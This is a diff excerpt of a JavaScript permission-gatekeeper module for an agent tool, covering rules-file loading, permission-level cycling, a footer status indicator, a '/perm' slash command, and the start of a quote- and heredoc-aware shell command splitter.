+
const bootstrapped = bootstrapRulesAt(targetPath);
|
|
481
|
+
setLoadedRules(bootstrapped, ctx);
|
|
482
|
+
return bootstrapped;
|
|
483
|
+
}
|
|
484
|
+
return handleMalformedFallback(ctx);
|
|
485
|
+
}
|
|
486
|
+
let parsed;
|
|
487
|
+
try {
|
|
488
|
+
parsed = JSON.parse(raw);
|
|
489
|
+
}
|
|
490
|
+
catch {
|
|
491
|
+
// JSON.parse threw (truncated payload, stray characters, etc.) — same fallback as shape-mismatch.
|
|
492
|
+
return handleMalformedFallback(ctx);
|
|
493
|
+
}
|
|
494
|
+
if (!isPermissionRules(parsed)) {
|
|
495
|
+
// JSON parsed but is not a valid PermissionRules shape (catches `null`, primitives, arrays, missing fields).
|
|
496
|
+
return handleMalformedFallback(ctx);
|
|
497
|
+
}
|
|
498
|
+
setLoadedRules(parsed, ctx);
|
|
499
|
+
return parsed;
|
|
500
|
+
}
|
|
501
|
+
function isErrnoException(value) {
|
|
502
|
+
return (value instanceof Error &&
|
|
503
|
+
"code" in value &&
|
|
504
|
+
typeof value.code === "string");
|
|
505
|
+
}
|
|
506
|
+
/** ─── Status Indicator (TSK-001-04) ─── */
|
|
507
|
+
/**
|
|
508
|
+
* Module-level cache of the loaded `PermissionRules` payload. Populated by {@link loadRules} on
|
|
509
|
+
* every successful read (valid on-disk payload, freshly-bootstrapped defaults, or in-memory
|
|
510
|
+
* fallback when the file is malformed). Consumed by {@link showAllowlist} so the `/perm allowlist`
|
|
511
|
+
* discovery output reflects the same in-memory state that `cycleMode` / `setMode` mutate.
|
|
512
|
+
* {@link applyModeChange} also writes through this cache (mutating `currentMode` in place) when
|
|
513
|
+
* the cache is hot — keeping the in-memory payload consistent with the persisted file.
|
|
514
|
+
* TSK-001-08's `session_start` handler also reads this binding to mirror `currentMode` after a
|
|
515
|
+
* successful load.
|
|
516
|
+
*
|
|
517
|
+
* NOT exported as a binding (ESM live bindings are read-only from outside the module). Tests drive
|
|
518
|
+
* the cache indirectly through `loadRules` / `seedPersistedRules`; production code mutates it
|
|
519
|
+
* from inside the same module only.
|
|
520
|
+
*/
|
|
521
|
+
let rules = null;
|
|
522
|
+
/**
|
|
523
|
+
* Module-level active permission level. TSK-001-08's `session_start` handler reads this on
|
|
524
|
+
* bootstrap (after `loadRules` populates `rules.currentMode`); the `/perm` cycle (TSK-001-06) and
|
|
525
|
+
* `--perm-mode` override (TSK-001-05) both mutate this in-memory value.
|
|
526
|
+
* NOT exported as a binding because ESM live bindings are read-only from outside the module — the
|
|
527
|
+
* test-only `setCurrentMode` helper below provides a writable surface for the foundation tests,
|
|
528
|
+
* and the production `cycleMode`/`setMode`/`applyFlagOverride` helpers (TSK-001-06, TSK-001-05)
|
|
529
|
+
* mutate the binding directly from inside the module.
|
|
530
|
+
*/
|
|
531
|
+
let currentMode = "medium";
|
|
532
|
+
/**
|
|
533
|
+
* Read the active permission level. Stable surface for downstream shards (ISS-003 classifier,
|
|
534
|
+
* ISS-005 prompt system) that need to consult the level without going through `updateStatus`.
|
|
535
|
+
*/
|
|
536
|
+
export function getCurrentMode() {
|
|
537
|
+
return currentMode;
|
|
538
|
+
}
|
|
539
|
+
/**
|
|
540
|
+
* Write the active permission level. Used by the foundation tests to drive `updateStatus`
|
|
541
|
+
* with different levels without going through the full `loadRules` bootstrap path. In
|
|
542
|
+
* production, `cycleMode` / `setMode` / `applyFlagOverride` (TSK-001-06, TSK-001-05) mutate
|
|
543
|
+
* the binding directly from inside the module.
|
|
544
|
+
*
|
|
545
|
+
* Also clears the ephemeral and session allow sets so test isolation (each `it(...)` starts with
|
|
546
|
+
* a fresh module-level state) matches the production lifecycle: a mode change is a fresh permission
|
|
547
|
+
* context, so any "Allow Once" or "Allow This Session" unlocks from the prior level are dropped.
|
|
548
|
+
* The single-source-of-truth clear path is `sessionStartHandler` for production; `setCurrentMode`
|
|
549
|
+
* mirrors it for the test-only mode-switch surface so Vitest's per-file isolation is honoured
|
|
550
|
+
* within a single file.
|
|
551
|
+
*/
|
|
552
|
+
export function setCurrentMode(value) {
|
|
553
|
+
currentMode = value;
|
|
554
|
+
ephemeralAllowList = new Set();
|
|
555
|
+
sessionAllowList = new Set();
|
|
556
|
+
}
|
|
557
|
+
/**
|
|
558
|
+
* Reserved TUI footer status key for the permission level indicator. Ownership is contractually
|
|
559
|
+
* pinned by `architecture.md:157` — no other extension may write to this key, otherwise the level
|
|
560
|
+
* indicator on the TUI footer could be shadowed by a colliding third-party status widget.
|
|
561
|
+
*/
|
|
562
|
+
export const PERMISSION_STATUS_KEY = "perm";
|
|
563
|
+
/**
|
|
564
|
+
* TUI footer labels keyed by PermissionLevel. Specific emoji + label pairs are
|
|
565
|
+
* documented in AC-010-01 / AC-010-02
|
|
566
|
+
* (`specs/001-pi-gatekeeper/issues/001-foundation-packaging.md:33`):
|
|
567
|
+
* - `low` → `🟢 LOW` (green circle = restricted/safe)
|
|
568
|
+
* - `medium` → `🟡 MEDIUM` (yellow circle = balanced)
|
|
569
|
+
* - `high` → `🟠 HIGH` (orange circle = permissive/warning)
|
|
570
|
+
* The status key (`PERMISSION_STATUS_KEY`) is reserved by `architecture.md:157` — no other extension
|
|
571
|
+
* may write to it (otherwise the level indicator could be shadowed on the TUI footer).
|
|
572
|
+
*/
|
|
573
|
+
export const MODE_LABELS = {
|
|
574
|
+
low: "🟢 LOW",
|
|
575
|
+
medium: "🟡 MEDIUM",
|
|
576
|
+
high: "🟠 HIGH",
|
|
577
|
+
};
|
|
578
|
+
/**
|
|
579
|
+
* Render the active permission level into the TUI footer via `ctx.ui.setStatus(...)` using the
|
|
580
|
+
* reserved `PERMISSION_STATUS_KEY`. The custom footer extension (`footer.ts`) reads the
|
|
581
|
+
* `~/.pi/agent/perm-mode` file directly and overlays the circle indicator (🟢/🟡/🟠) in the
|
|
582
|
+
* bottom powerline bar — so the `setStatus` call here serves as the fallback for built-in
|
|
583
|
+
* footer mode and as a data source for any extension that reads status keys directly.
|
|
584
|
+
*
|
|
585
|
+
* Synchronous — FLOW-05's `level_change_latency_ms` metric (<=100 ms) is satisfied because
|
|
586
|
+
* the call is a single in-process mutation. The full session_start wiring that invokes this
|
|
587
|
+
* helper (`loadRules -> set currentMode -> updateStatus`) lands in TSK-001-08; here we only
|
|
588
|
+
* define the primitive so it is independently testable.
|
|
589
|
+
*/
|
|
590
|
+
export function updateStatus(ctx) {
|
|
591
|
+
ctx.ui.setStatus(PERMISSION_STATUS_KEY, MODE_LABELS[currentMode]);
|
|
592
|
+
// Broadcast the current mode on the shared extension event bus so the footer
|
|
593
|
+
// extension (which may replace the built-in footer) can update its indicator
|
|
594
|
+
// without polling the filesystem. Guarded with typeof checks since test mocks
|
|
595
|
+
// may not expose `piRef` or `events`.
|
|
596
|
+
if (piRef?.events && typeof piRef.events.emit === "function") {
|
|
597
|
+
piRef.events.emit("perm:changed", { mode: currentMode });
|
|
598
|
+
}
|
|
599
|
+
}
|
|
600
|
+
/** ─── CLI Flag Override (TSK-001-05) ─── */
|
|
601
|
+
/**
|
|
602
|
+
* Canonical name of the `--perm-mode` CLI flag. Exported so TSK-001-08's `pi.registerFlag(...)`
|
|
603
|
+
* call uses the same identifier that `applyFlagOverride` reads via `pi.getFlag(...)` — prevents
|
|
604
|
+
* drift if the flag is ever renamed. Mirrors the `PERMISSION_STATUS_KEY` pattern from TSK-001-04.
|
|
605
|
+
*/
|
|
606
|
+
export const PERM_MODE_FLAG_NAME = "perm-mode";
|
|
607
|
+
/**
|
|
608
|
+
* Read the persisted `perm-rules.json` and return its `currentMode` if it is a valid
|
|
609
|
+
* `PermissionLevel`. Read-only: never creates the file and never emits `ctx.ui.notify` — the
|
|
610
|
+
* flag-override path must not bootstrap a file (the persisted mode is per-session, not
|
|
611
|
+
* auto-created) or alarm the user on a malformed payload. Returns `undefined` for any failure
|
|
612
|
+
* mode so the caller can fall through to the next priority tier (in-memory `currentMode`)
|
|
613
|
+
* without a separate try/catch ladder.
|
|
614
|
+
*/
|
|
615
|
+
/**
|
|
616
|
+
* Read `filePath` as UTF-8 text and return its contents, or `undefined` for any failure (ENOENT,
|
|
617
|
+
* permission denied, etc.). Encapsulates the `try { readFileSync(...) } catch { return undefined; }`
|
|
618
|
+
* pattern shared by {@link readCurrentModeFromDisk} — callers distinguish "no file / unreadable"
|
|
619
|
+
* from "file present but malformed" via a separate `JSON.parse` try/catch.
|
|
620
|
+
*/
|
|
621
|
+
function safeReadFile(filePath) {
|
|
622
|
+
try {
|
|
623
|
+
return readFileSync(filePath, "utf8");
|
|
624
|
+
}
|
|
625
|
+
catch {
|
|
626
|
+
return undefined;
|
|
627
|
+
}
|
|
628
|
+
}
|
|
629
|
+
function readCurrentModeFromDisk() {
|
|
630
|
+
const raw = safeReadFile(getRulesPath());
|
|
631
|
+
if (raw === undefined)
|
|
632
|
+
return undefined;
|
|
633
|
+
try {
|
|
634
|
+
const parsed = JSON.parse(raw);
|
|
635
|
+
if (isPermissionRules(parsed) && isPermissionLevel(parsed.currentMode)) {
|
|
636
|
+
return parsed.currentMode;
|
|
637
|
+
}
|
|
638
|
+
}
|
|
639
|
+
catch {
|
|
640
|
+
// Malformed JSON — leave currentMode as-is (caller falls through).
|
|
641
|
+
}
|
|
642
|
+
return undefined;
|
|
643
|
+
}
|
|
644
|
+
/**
|
|
645
|
+
* Read and validate the `--perm-mode` CLI flag value. Returns the validated level or `undefined`
|
|
646
|
+
* for any failure mode (thrown `pi.getFlag`, missing `getFlag`, undefined return, or a value
|
|
647
|
+
* outside `VALID_MODES`). Encapsulating the try/catch + validation here keeps `applyFlagOverride`
|
|
648
|
+
* declarative.
|
|
649
|
+
*/
|
|
650
|
+
function readPermModeFlag(pi) {
|
|
651
|
+
let flagValue;
|
|
652
|
+
try {
|
|
653
|
+
flagValue = pi.getFlag(PERM_MODE_FLAG_NAME);
|
|
654
|
+
}
|
|
655
|
+
catch {
|
|
656
|
+
// pi.getFlag threw (e.g. `pi.getFlag is not a function` when pre-registration sets it to undefined).
|
|
657
|
+
return undefined;
|
|
658
|
+
}
|
|
659
|
+
return isPermissionLevel(flagValue) ? flagValue : undefined;
|
|
660
|
+
}
|
|
661
|
+
/**
|
|
662
|
+
* Reconcile `currentMode` from the most authoritative available source, in priority order:
|
|
663
|
+
* 1. CLI flag (`pi.getFlag(PERM_MODE_FLAG_NAME)`) — only strict-equal values in
|
|
664
|
+
* {@link VALID_MODES} are accepted; anything else falls through to step 2.
|
|
665
|
+
* 2. Persisted `perm-rules.json` — read once via {@link readCurrentModeFromDisk}, never written.
|
|
666
|
+
* 3. In-memory `currentMode` — preserved when both above are unavailable.
|
|
667
|
+
*
|
|
668
|
+
* The persisted file is intentionally NOT rewritten (AC-001-03: "overrides persisted mode without
|
|
669
|
+
* modifying the file") so the override is per-session — the next session resumes at whatever the
|
|
670
|
+
* persisted mode was before this launch.
|
|
671
|
+
*
|
|
672
|
+
* The `pi.registerFlag(PERM_MODE_FLAG_NAME, ...)` registration call itself is deferred to
|
|
673
|
+
* TSK-001-08 (entry-point wiring) — this helper only CONSUMES the flag value, never registers it.
|
|
674
|
+
*/
|
|
675
|
+
export function applyFlagOverride(pi) {
|
|
676
|
+
const diskMode = readCurrentModeFromDisk();
|
|
677
|
+
if (diskMode !== undefined) {
|
|
678
|
+
currentMode = diskMode;
|
|
679
|
+
}
|
|
680
|
+
const flagMode = readPermModeFlag(pi);
|
|
681
|
+
if (flagMode !== undefined) {
|
|
682
|
+
currentMode = flagMode;
|
|
683
|
+
}
|
|
684
|
+
}
|
|
685
|
+
/** ─── Mode Transition (TSK-001-06) ─── */
|
|
686
|
+
/**
|
|
687
|
+
* Advance the active permission level to the next entry in the cycle `low → medium → high → low`,
|
|
688
|
+
* persist the new `currentMode` to `~/.pi/agent/perm-rules.json`, and re-render the status indicator.
|
|
689
|
+
* Surface contract:
|
|
690
|
+
* - Mutates module-level `currentMode` per the cycle order.
|
|
691
|
+
* - Persists `currentMode` to the on-disk file so the next session resumes at the new level
|
|
692
|
+
* (AC-001-02 contract).
|
|
693
|
+
* - Calls `ctx.ui.setStatus("perm", MODE_LABELS[currentMode])` synchronously so FLOW-05's
|
|
694
|
+
* `level_change_latency_ms` ≤ 100 ms metric holds (no deferred `setTimeout`).
|
|
695
|
+
* - If `perm-rules.json` has not yet been bootstrapped (caller invoked the helper before
|
|
696
|
+
* `session_start` completed), persistence is silently skipped — the in-memory mutation and
|
|
697
|
+
* TUI update still fire so the cycle is always observable.
|
|
698
|
+
*
|
|
699
|
+
* Flow references: FLOW-05 Happy-Path Steps 2 + 3 (level cycles and status indicator updates).
|
|
700
|
+
*/
|
|
701
|
+
export function cycleMode(ctx) {
|
|
702
|
+
const idx = VALID_MODES.indexOf(currentMode);
|
|
703
|
+
const next = VALID_MODES[(idx + 1) % VALID_MODES.length] ?? "medium";
|
|
704
|
+
applyModeChange(next, ctx);
|
|
705
|
+
}
|
|
706
|
+
export function setMode(value, ctx) {
|
|
707
|
+
if (!isPermissionLevel(value)) {
|
|
708
|
+
ctx.ui.notify(`unknown mode: ${value}`, "warning");
|
|
709
|
+
return;
|
|
710
|
+
}
|
|
711
|
+
applyModeChange(value, ctx);
|
|
712
|
+
}
|
|
713
|
+
/**
|
|
714
|
+
* Persist `payload` with `newMode` as its `currentMode`. Skips the write when the on-disk value
|
|
715
|
+
* already matches — prevents spurious disk writes on a redundant `cycleMode` after a prior
|
|
716
|
+
* `setMode` to the same level (acceptance criterion: "no spurious writes when the mode is
|
|
717
|
+
* unchanged"). Mutates `payload.currentMode` in place so any in-memory cache stays consistent
|
|
718
|
+
* with the persisted file — {@link applyModeChange} exploits this by passing the module-level
|
|
719
|
+
* `rules` cache directly when it is hot.
|
|
720
|
+
*
|
|
721
|
+
* Routes through {@link saveRules} without a `ctx` so the mode-cycle path inherits the same
|
|
722
|
+
* best-effort contract as the public API. A write failure is silently swallowed because the
|
|
723
|
+
* call chain (`applyModeChange` → in-memory mutation + TUI update) has already committed the
|
|
724
|
+
* user-visible side effects; the next session resumes from the last successfully persisted state.
|
|
725
|
+
*/
|
|
726
|
+
/**
|
|
727
|
+
* Shared transition primitive for `cycleMode` and `setMode`. Mode changes are session-only —
|
|
728
|
+
* they update the in-memory `currentMode` and the TUI status indicator, but do NOT persist to
|
|
729
|
+
* disk. Each session always starts from the default level (`"medium"`, bootstrapped from
|
|
730
|
+
* `default-rules.json`).
|
|
731
|
+
*
|
|
732
|
+
* Side-effects of a mode change:
|
|
733
|
+
* 1. Mutate the module-level `currentMode` (so subsequent reads see the new value).
|
|
734
|
+
* 2. Re-render the TUI footer status indicator synchronously (FLOW-05's
|
|
735
|
+
* `level_change_latency_ms` ≤ 100 ms invariant).
|
|
736
|
+
*/
|
|
737
|
+
function applyModeChange(newMode, ctx) {
|
|
738
|
+
currentMode = newMode;
|
|
739
|
+
updateStatus(ctx);
|
|
740
|
+
}
|
|
741
|
+
/** ─── Slash Command (TSK-001-07) ─── */
|
|
742
|
+
/**
|
|
743
|
+
* Stable labels for the per-line breakdown rendered by `showAllowlist`. Centralized so a future
|
|
744
|
+
* rename or addition (e.g. adding a `Warnings:` field) propagates from one edit to every line and the
|
|
745
|
+
* corresponding test grep. `as const` locks each entry to its literal string so the `.join("\n")`
|
|
746
|
+
* output is byte-stable across refactors.
|
|
747
|
+
*/
|
|
748
|
+
const ALLOWLIST_LABELS = {
|
|
749
|
+
PATH: "Path",
|
|
750
|
+
MODE: "Mode",
|
|
751
|
+
DENY: "Deny",
|
|
752
|
+
ALLOW: "Allow",
|
|
753
|
+
ASK: "Ask",
|
|
754
|
+
};
|
|
755
|
+
/**
|
|
756
|
+
* Annotation appended to the discovery output when the persisted rules file is absent. Pinned so a
|
|
757
|
+
* future typo / wording change flows from one edit to the test assertions and the AC-013-03 docs.
|
|
758
|
+
*/
|
|
759
|
+
const DEFAULT_RULES_IN_EFFECT_NOTE = "(default rules in effect)";
|
|
760
|
+
/**
|
|
761
|
+
* Render the current permission ruleset for the developer to inspect / copy into their editor.
|
|
762
|
+
* Backs the `/perm allowlist` (and `/perm list`) subcommand per FR-013.
|
|
763
|
+
*
|
|
764
|
+
* Two output paths:
|
|
765
|
+
* - **File missing** (first run, manual cleanup, etc.) → notify with the expected path AND the
|
|
766
|
+
* "default rules in effect" annotation. AC-013-03 contract: even when the file does not exist
|
|
767
|
+
* the developer can still copy the expected path into their editor. The cache (`rules`) is
|
|
768
|
+
* allowed to be null in this branch — the file-not-found check is the source of truth so the
|
|
769
|
+
* handler is robust against pre-`session_start` invocation.
|
|
770
|
+
* - **File present** → render the multi-line breakdown: resolved `Path:`, active `Mode:`, and
|
|
771
|
+
* the per-level `Deny:`, `Allow:`, `Ask:` arrays JSON-serialised so the developer can paste
|
|
772
|
+
* them straight into the file. The `Allow:` / `Ask:` labels are surfaced even when the
|
|
773
|
+
* arrays are empty (`[]`) so the structural tuple is unambiguous (AC-013-02).
|
|
774
|
+
*
|
|
775
|
+
* `notify` is always called at the `"info"` level — the discovery output is informational, never
|
|
776
|
+
* alarming. The level is pinned by the AC-013 tests.
|
|
777
|
+
*
|
|
778
|
+
* Flow references: FLOW-09 Step 1 (developer resolves the permission file path). The
|
|
779
|
+
* edit-and-reload half of FLOW-09 (Steps 2-3) is deferred to ISS-004.
|
|
780
|
+
*/
|
|
781
|
+
export function showAllowlist(ctx) {
|
|
782
|
+
const path = getRulesPath();
|
|
783
|
+
if (!existsSync(path) || rules === null) {
|
|
784
|
+
// AC-013-03: expected path is in the output even when the file is missing so the developer
|
|
785
|
+
// can still copy it into their editor or `touch` it manually.
|
|
786
|
+
ctx.ui.notify(`${path}\n${DEFAULT_RULES_IN_EFFECT_NOTE}`, "info");
|
|
787
|
+
return;
|
|
788
|
+
}
|
|
789
|
+
const level = rules.rules[currentMode];
|
|
790
|
+
const rows = [
|
|
791
|
+
[ALLOWLIST_LABELS.PATH, path],
|
|
792
|
+
[ALLOWLIST_LABELS.MODE, currentMode],
|
|
793
|
+
[ALLOWLIST_LABELS.DENY, JSON.stringify(level?.deny ?? [])],
|
|
794
|
+
[ALLOWLIST_LABELS.ALLOW, JSON.stringify(level?.allow ?? [])],
|
|
795
|
+
[ALLOWLIST_LABELS.ASK, JSON.stringify(level?.ask ?? [])],
|
|
796
|
+
];
|
|
797
|
+
ctx.ui.notify(rows.map(([label, value]) => `${label}: ${value}`).join("\n"), "info");
|
|
798
|
+
}
|
|
799
|
+
/**
|
|
800
|
+
* Prefix emitted when an unrecognised `/perm` subcommand is rejected. Centralized so the
|
|
801
|
+
* deny-by-default UX message stays in lock-step across the handler and the matching test
|
|
802
|
+
* assertion — the test reads `expect(level).toBe("warning")` and the message text together.
|
|
803
|
+
*/
|
|
804
|
+
const UNKNOWN_PERM_SUBCOMMAND_PREFIX = "unknown /perm subcommand:";
|
|
805
|
+
/**
|
|
806
|
+
* Dispatch table for the `/perm` slash command. Each entry pairs the literal-set gate (from
|
|
807
|
+
* {@link PERM_SUBCOMMANDS}) with the action to invoke on a match. Adding a new subcommand is a
|
|
808
|
+
* single tuple append; reordering is a swap of two entries. The first-match-wins ordering is
|
|
809
|
+
* preserved by the iteration order in {@link permCommandHandler}.
|
|
810
|
+
*/
|
|
811
|
+
const PERM_DISPATCH = [
|
|
812
|
+
{ literals: PERM_SUBCOMMANDS.CYCLE, action: (_a, ctx) => cycleMode(ctx) },
|
|
813
|
+
{ literals: PERM_SUBCOMMANDS.SET, action: (a, ctx) => setMode(a, ctx) },
|
|
814
|
+
{ literals: PERM_SUBCOMMANDS.DISCOVERY, action: (_a, ctx) => showAllowlist(ctx) },
|
|
815
|
+
];
|
|
816
|
+
/**
|
|
817
|
+
* Handler for the `/perm` slash command — the user-visible surface for FLOW-05 (mode switching)
|
|
818
|
+
* and FLOW-09 (manual rules discovery). The branching is strict and exhaustive:
|
|
819
|
+
*
|
|
820
|
+
* 1. Trim + lowercase the args (case-insensitive matching — accidental Shift-key capitalization
|
|
821
|
+
* on a developer-typed surface must not fail).
|
|
822
|
+
* 2. Iterate {@link PERM_DISPATCH} in declaration order; the first entry whose literal set
|
|
823
|
+
* contains the normalised args fires its action and returns.
|
|
824
|
+
* 3. If no entry matches → `ctx.ui.notify` at `"warning"` level (deny-by-default UX per
|
|
825
|
+
* Constitution §1.4 — silent no-ops would mask typos like `/prem` or `/permission`).
|
|
826
|
+
*
|
|
827
|
+
* Subcommand literals are co-located in {@link PERM_SUBCOMMANDS} for greppability and to make a
|
|
828
|
+
* future rename / new level a single-edit change.
|
|
829
|
+
*
|
|
830
|
+
* **Ownership invariant**: this function does NOT call any `pi.register*` method. Registration of
|
|
831
|
+
* `/perm` is owned by TSK-001-08's entry-point wiring — moving the call here would cause TSK-001-08
|
|
832
|
+
* to double-register and Pi/OMP to throw on the duplicate. The companion test
|
|
833
|
+
* `flow anchor: permCommandHandler does NOT register any ExtensionAPI surface` pins this.
|
|
834
|
+
*/
|
|
835
|
+
export async function permCommandHandler(args, ctx) {
|
|
836
|
+
const a = args.trim().toLowerCase();
|
|
837
|
+
for (const { literals, action } of PERM_DISPATCH) {
|
|
838
|
+
if (literals.some((literal) => literal === a)) {
|
|
839
|
+
action(a, ctx);
|
|
840
|
+
return;
|
|
841
|
+
}
|
|
842
|
+
}
|
|
843
|
+
ctx.ui.notify(`${UNKNOWN_PERM_SUBCOMMAND_PREFIX} ${a}`, "warning");
|
|
844
|
+
}
|
|
845
|
+
/**
|
|
846
|
+
* Split a compound shell command string into discrete segments at unquoted operator boundaries,
|
|
847
|
+
* preserving operators that appear inside quoted regions (`'...'`, `"..."`), after a backslash escape
|
|
848
|
+
* (e.g. `\&`), or inside a heredoc body (`<<EOF ... EOF`).
|
|
849
|
+
*
|
|
850
|
+
* Phase 2 (TSK-002-02) scope — extends the Phase 1 character-walk loop with single-quote,
|
|
851
|
+
* double-quote, and backslash-escape state so operators inside quoted strings are preserved verbatim.
|
|
852
|
+
* The acceptance contract (AC-002-02): `echo "foo && bar"` → `["echo \"foo && bar\""]` — one segment
|
|
853
|
+
* with the operator carried inside the segment text, not split into independent subcommands.
|
|
854
|
+
*
|
|
855
|
+
* Phase 3 (TSK-002-03) scope — adds heredoc/herestring tracking so the body of `<<EOF ... EOF` is
|
|
856
|
+
* consumed as part of the owning segment even when the body contains unquoted `&&`, `||`, `;`, `|`.
|
|
857
|
+
* The acceptance contract (AC-002-03): `cat <<EOF && echo done` → `["cat <<EOF", "echo done"]` — the
|
|
858
|
+
* heredoc opener stays attached to `cat`, then `&&` is the next real split point, then `echo done`
|
|
859
|
+
* continues as the second segment. Herestrings (`<<<`) are explicitly NOT heredoc openers — the
|
|
860
|
+
* `<<<` body is the rest of the current line and the next unquoted pipe is a normal split
|
|
861
|
+
* operator (`grep <<< "hello" | wc -l` → `["grep <<< \"hello\"", "wc -l"]`).
|
|
862
|
+
*
|
|
863
|
+
* Phase 3 contracts inherited from Phase 1 + Phase 2 plus the new heredoc branches:
|
|
864
|
+
* - Empty input → empty array (per `prd.md:286` exception strategy).
|
|
865
|
+
* - Single-command input (no operators) → one-element array preserving the input verbatim.
|
|
866
|
+
* - Unquoted `&&`, `||`, `;`, `|` → split boundary; surrounding horizontal whitespace skipped so
|
|
867
|
+
* the next segment does not carry a leading space (`&& echo done` → `"echo done"`).
|
|
868
|
+
* - Quoted regions (`'...'`, `"..."`) are opaque to operator detection. Single quotes are literal
|
|
869
|
+
* inside double quotes and vice versa, per shell semantics.
|
|
870
|
+
* - Backslash-escapes outside quotes consume the next character literally (e.g. `\&` → `&`) and
|
|
871
|
+
* strip the backslash itself from the emitted segment.
|
|
872
|
+
* - Unterminated quotes are treated as opaque (the remainder of the string stays in the current
|
|
873
|
+
* segment) — conservative degradation so the classifier never sees a half-stripped surface.
|
|
874
|
+
* - Heredoc opener `<<EOF` (or `<<'EOF'`, `<<"EOF"`, `<<\EOF` per shell quoting rules) detected
|
|
875
|
+
* outside quotes activates a two-step body mode: the opener is committed to the current segment
|
|
876
|
+
* and the body becomes opaque to operators until the delimiter is matched. The body mode is
|
|
877
|
+
* armed on the first `\n` after the opener — operators on the same line as the opener
|
|
878
|
+
* (e.g. `cat <<EOF && echo done`) split normally.
|
|
879
|
+
* - Heredoc body is consumed verbatim (no quote/escape/operator processing); the delimiter is
|
|
880
|
+
* matched when the accumulated line equals it exactly, after which the post-heredoc content
|
|
881
|
+
* resumes normal parsing. Heredoc body lines that equal the delimiter terminate the body.
|
|
882
|
+
* - Herestrings `<<<` are NOT heredoc openers — they pass through unchanged and the inline body
|
|
883
|
+
* stays on the same line as the parent command (no delimiter search).
|
|
884
|
+
*
|
|
885
|
+
* Subshell redirect stripping (`cmd < $(dangerous)` → `["cmd", "dangerous"]`) and process substitution
|
|
886
|
+
* (`<(...)`, `>(...)`) plus backtick extraction land in TSK-002-04 and TSK-002-05. The walker is
|
|
887
|
+
* structured as a stateful character-by-character loop so those phases extend the state machine in
|
|
888
|
+
* place without changing the public signature.
|
|
889
|
+
*
|
|
890
|
+
* Flow references: FLOW-07 Step 1 (gatekeeper parses the call into discrete commands), FLOW-08 (Allow
|
|
891
|
+
* Always preview is keyed off the per-segment surface), FLOW-09 (manual rules match against the segment
|
|
892
|
+
* surface, not the raw string).
|
|
893
|
+
*
|
|
894
|
+
* OPEN_ISSUE fix (architecture.md:159-170):
|
|
895
|
+
* A redirect operator followed by a `$(...)` substitution MUST strip the redirect and subshell
|
|
896
|
+
* syntax, emitting the wrapper command (before the redirect) and the inner substitution content
|
|
897
|
+
* as separate segments. `cmd < $(dangerous)` MUST return `["cmd", "dangerous"]` — NOT
|
|
898
|
+
* `["cmd < $(dangerous)", "dangerous"]`. This is the architectural fix that unblocks
|
|
899
|
+
* FLOW-07 Step 1 ("expands sub-references") and FLOW-08 Step 3 (granular allowlist entries).
|
|
900
|
+
*/
|
|
901
|
+
/**
|
|
902
|
+
* Push the current parse buffer as a segment when non-empty. Single source of truth for the
|
|
903
|
+
* "trim + non-empty check + push" commit primitive — used both at operator boundaries (mid-loop)
|
|
904
|
+
* and at end-of-input (tail). Subsequent phases (TSK-002-03..06) call this from every new operator's
|
|
905
|
+
* boundary branch and from each redirect-strip path so the trim policy stays uniform.
|
|
906
|
+
*/
|
|
907
|
+
function commitSegment(buffer, segments) {
|
|
908
|
+
const trimmed = buffer.trim();
|
|
909
|
+
if (trimmed !== "") {
|
|
910
|
+
segments.push(trimmed);
|
|
911
|
+
}
|
|
912
|
+
}
|
|
913
|
+
/**
|
|
914
|
+
* Commit a substitution wrapper segment and recursively push the inner segments
|
|
915
|
+
* produced by {@link splitShellSegments}. Shared by the `$(...)`, backtick,
|
|
916
|
+
* and process-substitution branches in the parser loop to avoid duplicating
|
|
917
|
+
* the "commit wrapper + recurse into inner content" pattern across all three.
|
|
918
|
+
*/
|
|
919
|
+
function commitSubstitution(wrapper, inner, segments) {
|
|
920
|
+
commitSegment(wrapper, segments);
|
|
921
|
+
for (const seg of splitShellSegments(inner)) {
|
|
922
|
+
segments.push(seg);
|
|
923
|
+
}
|
|
924
|
+
}
|
|
925
|
+
/**
|
|
926
|
+
* Operators that split one command into separate segments, in precedence order. The two-character
|
|
927
|
+
* forms (`&&`, `||`) are listed before their single-character prefix (`|`) so a substring match at
|
|
928
|
+
* position `i` consumes the longest matching operator first — otherwise `|` would consume the first
|
|
929
|
+
* char of `||` and leave a stray `|` in the next segment.
|
|
930
|
+
*
|
|
931
|
+
* Adding a new split operator is a single array append here plus a contract update; the parser loop
|
|
932
|
+
* body stays declarative. Future phases (TSK-002-03..06) extend the operator set with heredoc openings,
|
|
933
|
+
* subshell/process-substitution boundaries, etc.
|
|
934
|
+
*/
|
|
935
|
+
const SPLIT_OPERATORS = ["&&", "||", ";", "|"];
|
|
936
|
+
/**
|
|
937
|
+
* Peek ahead from index `i` and report whether a split operator starts there. Returns `null` when
|
|
938
|
+
* `i` is inside a quoted region so the caller stays a pure operator-table lookup without quote-state
|
|
939
|
+
* branches scattered through the main loop.
|
|
940
|
+
*/
|
|
941
|
+
function tryMatchOperator(input, i, inSingle, inDouble) {
|
|
942
|
+
if (inSingle || inDouble) {
|
|
943
|
+
return null;
|
|
944
|
+
}
|
|
945
|
+
for (const op of SPLIT_OPERATORS) {
|
|
946
|
+
if (input.startsWith(op, i)) {
|
|
947
|
+
return { length: op.length };
|
|
948
|
+
}
|
|
949
|
+
}
|
|
950
|
+
return null;
|
|
951
|
+
}
|
|
952
|
+
/**
|
|
953
|
+
* Advance `i` past horizontal whitespace (space, tab). Used at every operator boundary so the
|
|
954
|
+
* next segment does not carry a leading space — the trim policy in {@link commitSegment} is the
|
|
955
|
+
* last line of defense but skipping up front avoids spurious empty-segment checks inside the main
|
|
956
|
+
* loop.
|
|
957
|
+
*/
|
|
958
|
+
function skipOperatorWhitespace(input, start) {
|
|
959
|
+
let i = start;
|
|
960
|
+
while (i < input.length && (input[i] === " " || input[i] === "\t")) {
|
|
961
|
+
i += 1;
|
|
962
|
+
}
|
|
963
|
+
return i;
|
|
964
|
+
}
|
|
965
|
+
/**
|
|
966
|
+
* Peek ahead from index `start` and report whether a heredoc delimiter starts there. Returns `null`
|
|
967
|
+
* when no valid delimiter is present. Caller is responsible for the surrounding `<<` vs `<<<`
|
|
968
|
+
* distinction — this helper only inspects the delimiter token.
|
|
969
|
+
*
|
|
970
|
+
* Accepted delimiter forms (per shell semantics):
|
|
971
|
+
* - Bare word: `<<EOF` — any run of `[A-Za-z0-9_]` characters, at least one.
|
|
972
|
+
* - Single-quoted: `<<'EOF'` — body expansion is suppressed, but the parser still closes on a
|
|
973
|
+
* literal-`EOF` line (the surrounding quotes are stripped from the matched delimiter).
|
|
974
|
+
